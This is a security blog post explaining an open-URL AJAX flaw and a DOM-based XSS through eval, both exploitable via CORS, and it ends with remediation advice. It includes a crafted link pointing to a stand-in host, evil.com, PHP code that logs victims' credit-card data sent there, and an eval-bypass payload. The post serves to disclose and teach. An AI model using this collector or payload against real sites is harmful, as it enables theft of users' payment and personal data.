Exploitation of Open URL AJAX Requests and DOM-based XSS using CORS
I noticed a couple somewhat interesting vulnerabilities earlier this year that require the use of cross-origin resource sharing to exploit. Consider the following JavaScript code and assume that the getQueryString
function returns the value of the “someUrl” parameter in the query string by parsing the document.location
object. In the vulnerable page, the web application asks the user for sensitive data such as their name, credit card, and address, and the client-side JavaScript code submits this information via an AJAX request using the jQuery JavaScript library. The first vulnerability involves the fact that the no input validation existed on the “someUrl” parameter so the attacker could control where the data was submitted. This is similar to open URL redirection vulnerabilities, but given that there exists no redirection, I’ll call this an open URL AJAX request.
someUrl = getQueryParam('someUrl'); ... jQuery.ajax({url: someUrl, data: jsonString, success: handleData, contentType : "application/json", type: "POST", processData:false }); ...
Basically, the attacker would send the victim a link such as https://www.somesite.com/registerForStuff.jsp?someUrl=http://www.evil.com/c.php, the victim types in their credit card information, and then the victim’s browser silently submits the information via an AJAX POST request to evil.com. Normally, the browser due to the same-origin policy would have blocked this type of AJAX request, but thanks to CORS, evil.com can return the proper Access-Control-Allow-Origin
, Access-Control-Allow-Headers
, and Access-Control-Allow-Methods
HTTP response headers so that a cross-domain AJAX request is allowed by the browser thus allowing the attacker controlled server to capture and log the sensitive data. Behind the scenes the browser must first send a preflight request using the OPTIONS method to the relevant server (evil.com) to determine whether or not relaxing the SOP should be allowed.
The server-side PHP code on evil.com could look something like the following. We need to set the Access-Control-Allow-Origin
response header to either the wildcard character (*) to indicate that any domain can make a cross-origin request to this specific page on evil.com or we could be more specific and state that only the target site should be allowed (https://www.somesite.com). We also specify which request headers are acceptable by setting the Access-Control-Allow-Headers
response header. It is fairly common for web applications to use custom HTTP request headers in AJAX requests so make sure to specify the required headers or use the wildcard character again. And then finally, define the acceptable HTTP methods via the Access-Control-Allow-Methods
response header. The rest of the PHP code just logs the body of POST request, which in this case includes a JSON payload containing the victim’s personal information.
<?php header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: accept, origin, content-type"); header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); $body = @file_get_contents('php://input'); $f = fopen("/tmp/jsonresponse.txt","a"); $c = $_SERVER['REMOTE_ADDR'].":".$body."\n"; fwrite($f,$c); fclose($f); ?>
The first vulnerability was serious mainly because the information submitted to an attacker controlled URL was the user’s name, credit card information, and address. But even if the information requested by the original page was not sensitive, the page also contained a DOM-based XSS vulnerability. The success attribute in a jQuery.ajax
function call specifies the function to be called if the request succeeds, which looked something like the following. Using the eval
function to parse JSON is always a bad idea, but in this case the vulnerability is trivial to exploit since the attacker can force the JavaScript code to make an AJAX request to an attacker controlled server that returns the attacker’s content that is evaluated as JavaScript code via the eval
function.
function handleData (data) { if(typeof data != "object" ) { data = eval('(' + data + ')'); }
There is one small caveat here; the success handler function first verifies that the returned data from the server is an object data type as opposed to a string or number data type, which may have been added as an attempt to prevent JavaScript injection. So returning alert(1)
from evil.com isn’t going to work since it is a string, but returning [alert(1)]
or returning {junk:alert(1)}
will work even though it is not technically valid JSON. Our final proof of concept code looks like the following. The next step would be to create additional JavaScript code that alters the HTML document in order to request additional sensitive data from the victim, such as their password, or just add your BeEF hook here.
<?php header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: accept, origin, content-type"); header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); $body = @file_get_contents('php://input'); $f = fopen("/tmp/jsonresponse.txt","a"); $c = $_SERVER['REMOTE_ADDR'].":".$body."\n"; fwrite($f,$c); fclose($f); ?> [alert(1)]
The developers could fix the first vulnerability by adding input validation in the JavaScript code to verify that the provided URL is associated with a trusted domain similar to how an open URL redirection vulnerability can be prevented or better yet remove this functionality by hardcoding the submit URL. One could argue that fixing the first vulnerability should address the second vulnerability, but JavaScript injection may still be possible if the target server fails to properly escape or encode the JSON response payloads. Therefore using the JSON.parse
function, instead of the eval
function, is a safer option.